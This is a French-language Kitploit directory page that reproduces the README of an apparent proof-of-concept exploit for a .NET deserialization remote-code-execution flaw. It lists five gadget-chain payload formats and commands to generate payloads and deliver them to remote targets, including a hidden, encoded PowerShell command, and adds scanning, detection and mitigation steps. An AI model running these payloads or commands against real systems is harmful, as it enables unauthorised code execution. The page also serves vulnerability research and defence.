Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-56158-.NET-Framework-RCE-PoC-Exploit — Génère cinq formats de payload de désérialisation .NET pour CVE-2026-56158, les distribue via des endpoints HTTP/SOAP/JSON, inclut un serveur simulé, un scanner et une sortie de rapport JSON. | Kitploit
Outils/GitHubGitHub/sam00/cve-2026-56158-.net-framework-rce-poc-exploit
Scanners de VulnérabilitésGénération de PayloadsAnalyse Statique de Code (SAST)Analyse des VulnérabilitésExploitationExploitation d'Applications WebDéveloppement de Charges Utiles
GitHub
sam00/cve-2026-56158-.net-framework-rce-poc-exploit

CVE-2026-56158-.NET-Framework-RCE-PoC-Exploit

Génère cinq formats de payload de désérialisation .NET pour CVE-2026-56158, les distribue via des endpoints HTTP/SOAP/JSON, inclut un serveur simulé, un scanner et une sortie de rapport JSON.

Voir le dépôt
19il y a 1 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-56158 — Exploit PoC d'exécution de code à distance (RCE) dans .NET Framework

Critique (CVSS 9.8) — Désérialisation de données non fiables (CWE-502) dans Microsoft .NET Framework et .NET Runtime Corrigé : 14 juillet 2026 | Attribué à : Positive Technologies (PT-2026-60174)


Table des matières

  • Présentation
  • Détails de la vulnérabilité
  • Versions concernées
  • Vecteurs d'attaque
  • Architecture de l'exploit
  • Structure des fichiers
  • Installation
  • Utilisation pas à pas
  • Tests
  • Détection et durcissement
  • Mesures d'atténuation
  • Références
  • Clause de non-responsabilité
  • Licence

Présentation

CVE-2026-56158 est une vulnérabilité critique d'exécution de code à distance dans Microsoft .NET Framework et le runtime .NET. La faille réside dans la désérialisation non sécurisée de données non fiables (CWE-502) — lorsqu'une application .NET utilise des sérialiseurs hérités (, , , ) ou Json.NET avec , un attaquant distant non authentifié peut fournir une charge utile sérialisée spécialement conçue qui déclenche l'exécution de code arbitraire lors de la désérialisation.

BinaryFormatter
NetDataContractSerializer
SoapFormatter
ObjectStateFormatter
TypeNameHandling.All/Auto

La vulnérabilité présente un score de base CVSS 3.1 de 9.8 (Critique) avec le vecteur AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H, ce qui signifie :

  • Vecteur d'attaque : Réseau (aucun accès physique requis)
  • Complexité d'attaque : Faible
  • Privilèges requis : Aucun
  • Interaction utilisateur : Aucune
  • Impact : Compromission totale de la confidentialité, de l'intégrité et de la disponibilité

Microsoft a publié des mises à jour de sécurité le 14 juillet 2026 dans le cadre du cycle mensuel Patch Tuesday.


Détails de la vulnérabilité

ChampValeur
Identifiant CVECVE-2026-56158
TitreVulnérabilité d'exécution de code à distance dans .NET Framework
CVSS 3.19.8 Critique (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
CVSS 2.07.5 Élevé (AV:N/AC:L/Au:N/C:P/I:P/A:P)
CWECWE-502 (Désérialisation de données non fiables)
Publiée14 juillet 2026
Corrigée14 juillet 2026
DécouvreurPositive Technologies (PT-2026-60174)
EPSSPas encore évalué
CISA KEVNon répertorié

Cause racine

Les sérialiseurs hérités du runtime .NET reconstruisent des types d'objets arbitraires à partir de flux sérialisés sans valider le type ni le contenu. Lorsqu'un attaquant contrôle l'entrée sérialisée, il peut amener le désérialiseur à instancier des types inattendus dont les constructeurs, les rappels ou les setters de propriétés exécutent du code arbitraire — une attaque classique par chaîne de gadgets de désérialisation.

La vulnérabilité affecte plusieurs mécanismes de sérialisation :

  1. BinaryFormatter — Flux binaire avec métadonnées de type ; la chaîne de gadgets TypeConfuseDelegate délègue à Process.Start
  2. NetDataContractSerializer — Format XML incluant les informations de type .NET ; permet l'instanciation directe de types
  3. SoapFormatter — Enveloppe SOAP XML avec références de types CLR ; ProcessStartInfo intégré dans le corps SOAP
  4. ObjectStateFormatter — Format binaire ViewState ASP.NET ; Process.Start via le champ ViewState
  5. Json.NET (Newtonsoft.Json) — JSON avec métadonnées $type lorsque TypeNameHandling.All/Auto est activé ; le gadget ObjectDataProvider appelle Process.Start

Versions concernées

ProduitPlage vulnérableVersion corrigéeArticle KB
.NET 8.08.0.0 – 8.0.288.0.29KB5100998
.NET 9.09.0.0 – 9.0.179.0.18KB5100998
.NET 10.010.0.0 – 10.0.910.0.10KB5101001
.NET Framework 3.5Toutes les versions antérieures au correctifCorrigéeKB5100985
.NET Framework 4.6.2–4.7.2Toutes les versions antérieures au correctifCorrigéeKB5100991
.NET Framework 4.8Toutes les versions antérieures au correctifCorrigéeKB5101011
.NET Framework 4.8.1Toutes les versions antérieures au correctifCorrigéeKB5101002
Visual Studio 2022 (17.12)Avant correctif17.12.x—
Visual Studio 2022 (17.14)Avant correctif17.14.x—
Visual Studio 2026 (18.7)Avant correctif18.7.x—

Paquets Alpine Linux :

  • dotnet8-runtime < 8.0.29-r0
  • dotnet9-runtime < 9.0.18-r0
  • dotnet10-runtime < 10.0.10-r0

Vecteurs d'attaque

Cet exploit PoC génère et délivre des charges utiles via 5 formats d'attaque par désérialisation différents :

1. BinaryFormatter (Gadget TypeConfuseDelegate)

root@kitploit:~
Serialized Stream → BinaryFormatter.Deserialize() → TypeConfuseDelegate
  → Process.Start("cmd.exe", "/c calc.exe") → RCE
  • Format : Binaire (flux sérialisé .NET)
  • Content-Type : application/octet-stream
  • Livraison : corps de requête HTTP POST, fichier
  • Gadget : ActivitySurrogateSelector+ObjectSurrogate → TypeConfuseDelegate → Process.Start

2. NetDataContractSerializer

root@kitploit:~
XML with type info → NetDataContractSerializer.ReadObject()
  → ProcessStartInfo instantiation → Process.Start → RCE
  • Format : XML avec informations de type .NET intégrées
  • Content-Type : application/octet-stream ou text/xml
  • Livraison : corps de requête HTTP POST, point de terminaison WCF

3. SoapFormatter

root@kitploit:~
SOAP envelope → SoapFormatter.Deserialize()
  → ProcessStartInfo in SOAP body → Process.Start → RCE
  • Format : enveloppe SOAP XML avec références de types CLR
  • Content-Type : text/xml
  • Livraison : point de terminaison SOAP WCF/ASMX

4. ObjectStateFormatter (ViewState)

root@kitploit:~
ViewState binary → ObjectStateFormatter.Deserialize()
  → Process.Start via ViewState field → RCE
  • Format : binaire (format ViewState ASP.NET)
  • Content-Type : application/octet-stream
  • Livraison : champ __VIEWSTATE en HTTP POST

5. Json.NET (TypeNameHandling.All)

root@kitploit:~
JSON with $type → JsonConvert.DeserializeObject<T>(json, TypeNameHandling.All)
  → ObjectDataProvider.MethodName = "Start" → Process.Start → RCE
  • Format : JSON avec métadonnées $type
  • Content-Type : application/json
  • Livraison : point de terminaison d'API REST avec TypeNameHandling.All ou Auto

Architecture de l'exploit

root@kitploit:~
┌─────────────────────────────────────────────────────────────────────┐
│                         exploit.py                                   │
├─────────────────────────────────────────────────────────────────────┤
│                                                                      │
│  ┌──────────────┐   ┌───────────────┐   ┌───────────────────────┐  │
│  │ PayloadGen   │   │ PayloadDeliv  │   │ VulnerabilityScanner  │  │
│  │              │   │               │   │                       │  │
│  │ • BinaryFmt  │   │ • HTTP POST   │   │ • HTTP header check   │  │
│  │ • NetData    │──▶│ • SOAP/WCF   │──▶│ • Endpoint discovery  │  │
│  │ • SoapFmt    │   │ • JSON API    │   │ • ViewState analysis  │  │
│  │ • ObjectState│   │ • File save   │   │ • Version detection   │  │
│  │ • Json.NET   │   │               │   │                       │  │
│  └──────────────┘   └───────────────┘   └───────────────────────┘  │
│         │                   │                      │                 │
│         └───────────────────┼──────────────────────┘                 │
│                             ▼                                        │
│  ┌──────────────┐   ┌──────────────────────────────────────────┐   │
│  │ PayloadList  │   │ Report Generator (JSON)                   │   │
│  │ (Mock .NET)  │   │ • CVE metadata, CVSS, CWE                │   │
│  │              │   │ • Payload hashes (SHA-256)               │   │
│  │ Simulates    │   │ • Delivery results                       │   │
│  │ vulnerable   │   │ • RCE confirmation                       │   │
│  │ deserialization│ │ • References                             │   │
│  └──────────────┘   └──────────────────────────────────────────┘   │
│                                                                      │
└─────────────────────────────────────────────────────────────────────┘

Flux d'attaque

root@kitploit:~
Attacker ────POST /api/deserialize──────▶ Target (.NET < 8.0.29)
         Content-Type: application/octet-stream
         Body: [BinaryFormatter payload]
                                             │
                                             ▼
                                   BinaryFormatter.Deserialize()
                                   (no type validation)
                                             │
                                             ▼
                                   TypeConfuseDelegate invoked
                                             │
                                             ▼
                                   Process.Start("cmd.exe", "/c calc.exe")
                                             │
                                             ▼
                                   calc.exe spawns → RCE CONFIRMED

Diagramme Mermaid

root@kitploit:~
graph TD
    A[Attacker] --> B[PayloadGenerator]
    B --> B1[BinaryFormatter]
    B --> B2[NetDataContractSerializer]
    B --> B3[SoapFormatter]
    B --> B4[ObjectStateFormatter]
    B --> B5[Json.NET]

    B1 --> C1[TypeConfuseDelegate Gadget]
    B2 --> C2[ProcessStartInfo XML]
    B3 --> C3[SOAP ProcessStartInfo]
    B4 --> C4[ViewState Process.Start]
    B5 --> C5[ObjectDataProvider Gadget]

    C1 --> D[PayloadDelivery]
    C2 --> D
    C3 --> D
    C4 --> D
    C5 --> D

    D --> E1[HTTP POST]
    D --> E2[SOAP Endpoint]
    D --> E3[JSON API]
    D --> E4[File]

    E1 --> F[.NET Runtime < 8.0.29]
    E2 --> F
    E3 --> F
    E4 --> F

    F --> G[Unsafe Deserialization - No Type Validation]
    G --> H[Gadget Chain Executes]
    H --> I[Process.Start - RCE]
    I --> J[Arbitrary Code Execution]

    subgraph "Vulnerable Components"
        F
        G
    end

    subgraph "Exploit Chain"
        H
        I
        J
    end

Structure des fichiers

root@kitploit:~
CVE-2026-56158/
├── exploit.py          # Main exploit — payload generation, delivery, scanning, mock listener
├── detect.py           # Detection & hardening checker
├── test_exploit.py     # Unit tests (74 tests)
├── e2e_test.py         # End-to-end validation tests (37 tests)
├── README.md           # This file — GitHub description page
├── USAGE.md            # Detailed step-by-step usage guide
├── DIAGRAM.md          # Architecture & attack flow diagrams
├── package.json        # Project metadata
├── LICENSE             # MIT License
└── .gitignore          # Git ignore rules

Installation

Prérequis

  • Python 3.8+ (stdlib uniquement — aucune dépendance externe)
  • Cible : application .NET utilisant une désérialisation non sécurisée (pour une utilisation réelle)
  • Aucune installation .NET requise pour les tests (serveur simulé inclus)

Clonage

root@kitploit:~
git clone [email protected]:sam00/CVE-2026-56158-.NET-Framework-RCE-PoC-Exploit.git
cd CVE-2026-56158

Utilisation pas à pas

Étape 1 : Générer les charges utiles

Générez les 5 formats de charges utiles avec la commande par défaut (calc.exe) :

root@kitploit:~
python3 exploit.py

Sortie :

root@kitploit:~
[INFO] Generating deserialization payloads...
  [SUCCESS] binaryformatter: 395 bytes
  [SUCCESS] netdatacontract: 437 bytes
  [SUCCESS] soap: 716 bytes
  [SUCCESS] objectstate: 153 bytes
  [SUCCESS] jsonnet: 695 bytes

Génération avec une commande personnalisée :

root@kitploit:~
python3 exploit.py -c "powershell.exe -nop -w hidden -enc <base64>"

Étape 2 : Tester localement avec le serveur simulé

Démarrez le serveur .NET vulnérable simulé intégré et délivrez toutes les charges utiles :

root@kitploit:~
python3 exploit.py --listen

Cela va :

  1. Démarrer un serveur HTTP simulé reproduisant un point de terminaison .NET vulnérable
  2. Générer les 5 formats de charges utiles
  3. Délivrer chaque charge utile au serveur simulé
  4. Vérifier que la RCE a été déclenchée (désérialisation → exécution de code)
  5. Générer un rapport d'exploitation au format JSON

Sortie attendue :

root@kitploit:~
[VULN] RCE CONFIRMED — Payload deserialized and command execution triggered

Port personnalisé :

root@kitploit:~
python3 exploit.py --listen --port 8080

Étape 3 : Enregistrer la charge utile dans un fichier

Enregistrez un format de charge utile spécifique dans un fichier pour une livraison manuelle :

root@kitploit:~
# Save BinaryFormatter payload
python3 exploit.py --save payload.bin -f binaryformatter -c "calc.exe"

# Save SOAP payload
python3 exploit.py --save payload.soap -f soap -c "whoami"

# Save Json.NET payload
python3 exploit.py --save payload.json -f jsonnet -c "id"

Étape 4 : Délivrer les charges utiles à une cible distante

Délivrez toutes les charges utiles à une cible .NET distante :

root@kitploit:~
python3 exploit.py -u http://target:8080 -c "calc.exe"

Avec contournement du certificat SSL :

root@kitploit:~
python3 exploit.py -u https://target:8443 -c "calc.exe" --insecure

Étape 5 : Analyser une cible à la recherche d'indicateurs de vulnérabilité

Analysez une cible pour détecter la version de .NET, les points de terminaison de désérialisation et les problèmes de ViewState :

root@kitploit:~
python3 exploit.py -u http://target:8080 --scan

Ceci vérifie :

  • Les en-têtes de réponse HTTP pour les indicateurs de version .NET (X-AspNet-Version, X-Powered-By)
  • Les chemins de points de terminaison de désérialisation courants (/api/deserialize, /Service.svc, etc.)
  • L'état de la protection ViewState ASP.NET (validation MAC, chiffrement)

Étape 6 : Générer le rapport d'exploitation

Générez un rapport JSON avec tous les détails de l'exploitation :

root@kitploit:~
python3 exploit.py --listen -o report.json
# or
python3 exploit.py -u http://target:8080 -o report.json

Le rapport comprend :

  • Les métadonnées CVE (ID, CVSS, CWE, vecteur)
  • Les détails de la charge utile (format, taille, empreinte SHA-256)
  • Les résultats de livraison (statut HTTP, réponse)
  • Les résultats de l'analyse
  • Le statut de confirmation de la RCE
  • Les références

Tests

Tests unitaires (74 tests)

root@kitploit:~
python3 test_exploit.py

Les tests couvrent :

  • La génération de charges utiles pour les 5 formats
  • L'injection de commandes personnalisées
  • L'encodage Base64
  • La livraison de charges utiles (HTTP, SOAP, JSON, fichier)
  • Le scanner de vulnérabilités (détection de version, découverte de points de terminaison)
  • L'écouteur simulé (confirmation de RCE, détection de format)
  • La génération de rapports (sortie JSON, création de fichiers)
  • L'intégrité des charges utiles (génération déterministe)
  • Les cas limites (commandes vides, arguments complexes)

Tests de bout en bout (37 tests)

root@kitploit:~
python3 e2e_test.py

Les tests couvrent :

  • La chaîne d'exploitation complète : générer → délivrer → vérifier la RCE
  • Les 5 formats de charges utiles délivrés au serveur simulé
  • La confirmation de RCE sur plusieurs formats
  • La livraison de charges utiles par fichier
  • L'intégration du scanner de vulnérabilités
  • La génération et la validation du rapport d'exploitation

Résultats des tests

root@kitploit:~
Unit Tests:  74 passed, 0 failed
E2E Tests:   37 passed, 0 failed
Total:       111 tests passed

Détection et durcissement

Exécutez le vérificateur de détection pour identifier les installations .NET vulnérables :

root@kitploit:~
python3 detect.py

Analysez le code source à la recherche de motifs de désérialisation non sécurisée :

root@kitploit:~
python3 detect.py /path/to/source/code

Le détecteur vérifie :

  • Les versions installées du runtime .NET (via dotnet --list-runtimes)
  • Les entrées de registre .NET Framework (Windows)
  • Les motifs de code source : BinaryFormatter.Deserialize, NetDataContractSerializer.ReadObject, SoapFormatter.Deserialize, ObjectStateFormatter.Deserialize, TypeNameHandling.All/Auto, LosFormatter.Deserialize

Mesures d'atténuation

  1. Mettez à jour le runtime .NET vers les versions corrigées (8.0.29+, 9.0.18+, 10.0.10+)
  2. Mettez à jour .NET Framework via Windows Update (KB5100985/KB5100991/KB5101011)
  3. Remplacez BinaryFormatter par System.Text.Json ou DataContractSerializer avec liaison de types stricte
  4. Implémentez des listes d'autorisation SerializationBinder lorsque les sérialiseurs hérités sont requis
  5. Définissez le commutateur AppContext : Switch.System.Runtime.Serialization.UseLegacyBinaryFormatter=false
  6. Pour ViewState ASP.NET : activez ViewStateMac et ViewStateEncryption
  7. Pour Json.NET : évitez TypeNameHandling.All/Auto ; utilisez TypeNameHandling.None
  8. Bloquez SoapFormatter et NetDataContractSerializer pour les entrées non fiables
  9. Appliquez des stratégies WDAC/AppLocker pour restreindre le lancement de processus depuis des applications .NET
  10. Surveillez les processus enfants inattendus provenant de dotnet.exe, devenv.exe ou de processus hôtes .NET personnalisés

Références

  • NVD — CVE-2026-56158
  • Tenable — CVE-2026-56158
  • Snyk — SNYK-ALPINE324-DOTNET8RUNTIME-18025263
  • Microsoft — Mise à jour cumulative de juillet 2026
  • MSRC — CVE-2026-56158
  • Alpine Security Tracker — CVE-2026-56158
  • Notes de version .NET 8.0.29

Clause de non-responsabilité

Cet exploit de preuve de concept est fourni uniquement à des fins éducatives et de tests de sécurité autorisés. N'utilisez cet outil que contre des systèmes que vous possédez ou pour lesquels vous disposez d'une autorisation écrite explicite de test. L'utilisation non autorisée contre des systèmes que vous ne possédez pas est illégale et peut violer les lois relatives à la fraude et aux abus informatiques.

Les auteurs et contributeurs ne sont pas responsables de tout usage abusif ou de tout dommage causé par ce logiciel.


Licence

Licence MIT — voir le fichier LICENSE pour plus de détails.

Télécharger l’outil